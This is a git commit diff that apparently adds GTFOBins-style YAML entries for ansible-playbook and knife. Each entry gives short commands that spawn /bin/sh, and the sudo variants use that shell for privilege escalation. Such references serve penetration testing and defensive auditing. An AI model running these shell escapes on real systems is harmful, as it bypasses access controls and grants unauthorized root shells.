Add knife and ansible-playbook
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>master
parent
de6a9adef2
commit
ee3eb38ee4
|
@ -0,0 +1,13 @@
|
|||
---
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
TF=$(mktemp)
|
||||
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
|
||||
ansible-playbook $TF
|
||||
sudo:
|
||||
- code: |
|
||||
TF=$(mktemp)
|
||||
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
|
||||
sudo ansible-playbook $TF
|
||||
---
|
|
@ -0,0 +1,10 @@
|
|||
---
|
||||
description: This is capable of running [`ruby`](/gtfobins/ruby/) code.
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
knife exec -E 'exec "/bin/sh"'
|
||||
sudo:
|
||||
- code: |
|
||||
sudo knife exec -E 'exec "/bin/sh"'
|
||||
---
|
Loading…
Reference in New Issue